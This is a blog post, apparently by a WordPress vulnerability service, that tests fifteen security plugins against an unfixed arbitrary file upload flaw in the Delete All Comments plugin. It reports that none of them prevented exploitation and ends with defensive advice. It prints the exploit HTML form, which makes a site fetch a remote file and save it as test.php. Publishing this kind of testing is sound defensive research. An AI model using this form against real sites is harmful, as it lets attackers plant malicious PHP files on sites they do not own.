No WordPress Security Plugin Prevented Exploitation of Unfixed Arbitrary File Upload Vulnerability in Popular Plugin
When it comes to the chances of vulnerabilities being exploited the reality is that many types of vulnerabilities are highly unlikely to have anyone even try to exploit them. Unfortunately far too often we see security companies and the press making a big deal of vulnerabilities that are are of little to no threat, while ignoring vulnerabilities and broader security issues that are leading to websites being hacked (that lead us to providing information on likelihood that a vulnerability is to be exploited to the data for our service). When it comes to types that are likely to be exploited, the arbitrary file upload vulnerability, which allows a hacker to upload files of any kind to a website, is probably the one with the most exploit attempts and also then ends up leading to the most websites being hacked. So if a WordPress security plugin is going to protect against any type of vulnerability this seems like this is the one you would most want it to be able protect against.
Back in September we tested out security plugins against this type of vulnerability and the results were not good. Of the 12 plugins tested only 3 provided any protection. The protections 2 of them provide was easily bypassed for this particular vulnerability and the remaining plugin’s protection also meant that Editor level and below users could not upload files either.
With the vulnerability tested then the file to be uploaded was included with the upload request, which provides security plugins a relatively easy way to detect the possibility of a malicious upload occurring as they can see all files being included in the request by checking the $_FILES variable. An arbitrary file upload vulnerability can also involve getting a file from another website, which should make it harder to detect.
Just such a vulnerability was disclosed in the plugin Delete All Comments (which recently had 30,000+ active installs according to wordpress.org) by the security company NinTechNet on Saturday, which they had discovered while cleaning up a website that had been hacked due to it. The vulnerability is just the type of thing that could show the value of a security plugin as the vulnerability has not been fixed, so even if you keep your plugins up to date at all times you are still vulnerable if you are using (WordPress could step in to provide a secured version, but so far they have not). So we decided to test out security plugins to see if they are able to protect against it.
Testing Procedure
For each of the tested plugin we set up a fresh install of WordPress 4.7, installed the version 2.0 of Delete All Comments, and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.
We used the following HTML to launch the upload request in the exploit attempts:
<form method="POST" action="http://[path to WordPress]"> <input type="text" name="restorefromfileURL" value="[URL of file to be upload]"> <input type="text" name="restorefromfileNAME" value="test.php"> <input type="submit"> </form>
The 15 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. We added three new plugins in this round of testing: Block Bad Queries (BBQ), Centrora Security, and Total Security. Followers of our blog might recognize two of those, as we previously disclosed a pair security vulnerabilities we found Centrora Security and Total Security (yes security plugins can introduce additional security issues on your website). If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.
Results
None of the plugins tested prevented the vulnerability from being exploited.
We were surprised NinjaFirewall (WP Edition) didn’t prevent this since the developer was the one that discovered the vulnerability and they state that:
Alternatively, if your are using NinjaFirewall (WP/WP+ Edition), our WordPress WAF, you are protected against it.
One possible explanation for this discrepancy is that we sent the exploit attempt request to homepage of the website while the hack shown in their post had the request sent to /wp-content/plugins/delete-all-comments/delete-all-comments.php. When we sent the request to that URL instead it was blocked.
The full results are below:
Acunetix Secure WordPress
- WordPress.org Plugin Directory page
- Active Installs: 70,000+
- Version Tested: 3.0.4
Result: Failed to prevent exploitation.
Acunetix WP Security
- WordPress.org Plugin Directory page
- Active Installs: 100,000+
- Version Tested: 4.0.5
Result: Failed to prevent exploitation.
All In One WP Security & Firewall
- WordPress.org Plugin Directory page
- Active Installs: 400,000+
- Version Tested: 4.2.4
Result: Failed to prevent exploitation.
Anti-Malware Security and Brute-Force Firewall
- WordPress.org Plugin Directory page
- Active Installs: 100,000+
- Version Tested: 4.16.39
Result: Failed to prevent exploitation.
Block Bad Queries (BBQ)
- WordPress.org Plugin Directory page
- Active Installs: 70,000+
- Version Tested: 20161114
Result: Failed to prevent exploitation.
BulletProof Security
- WordPress.org Plugin Directory page
- Active Installs: 100,000+
- Version Tested: .54.2
Result: Failed to prevent exploitation.
Centrora Security
- WordPress.org Plugin Directory page
- Active Installs: 2,000+
- Version Tested: 6.5.15
Result: Failed to prevent exploitation.
IP Geo Block
- WordPress.org Plugin Directory page
- Active Installs: 10,000+
- Version Tested: 3.0.0
Result: Failed to prevent exploitation.
iThemes Security
- WordPress.org Plugin Directory page
- Active Installs: 800,000+
- Version Tested: 5.9.0
Result: Failed to prevent exploitation.
NinjaFirewall (WP Edition)
- WordPress.org Plugin Directory page
- Active Installs: 10,000+
- Version Tested: 3.3.3
Result: Failed to prevent exploitation.
Security Ninja
- WordPress.org Plugin Directory page
- Active Installs: 6,000+
- Version Tested: 2.15
Result: Failed to prevent exploitation.
Shield WordPress Security
- WordPress.org Plugin Directory page
- Active Installs: 40,000+
- Version Tested: 5.6.0
Result: Failed to prevent exploitation.
Sucuri Security
- WordPress.org Plugin Directory page
- Active Installs: 300,000+
- Version Tested: 1.8.3
Result: Failed to prevent exploitation.
Total Security
- WordPress.org Plugin Directory page
- Active Installs: 2,000+
- Version Tested: 3.4.4
Result: Failed to prevent exploitation.
Wordfence
- WordPress.org Plugin Directory page
- Active Installs: 1+ million
- Version Tested: 6.2.8
Result: Failed to prevent exploitation.
Protecting Against Plugin Vulnerabilities
Seeing as the security plugins provided no protection, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:
- Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you. In this case the vulnerability can exploited when not active if the request is sent directly to plugin’s file.
- Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
- Install our Plugin Vulnerabilities plugin. For vulnerabilities that it looks like a hacker is already exploiting, we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service. We added this vulnerability on Monday.
- Sign up for our service. Not only do you get alerted if there is a vulnerability in a currently installed version of a plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
- Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins. With our service you get a more limited version of this as you can suggest and vote for plugins to have basic security reviews done by us.
Plugin Security Scorecard Grade for BulletProof Security
Checked on June 12, 2025See issues causing the plugin to get less than A+ grade
Plugin Security Scorecard Grade for NinjaFirewall (WP Edition)
Checked on June 12, 2025See issues causing the plugin to get less than A+ grade
Plugin Security Scorecard Grade for Security Ninja
Checked on April 1, 2025See issues causing the plugin to get less than A+ grade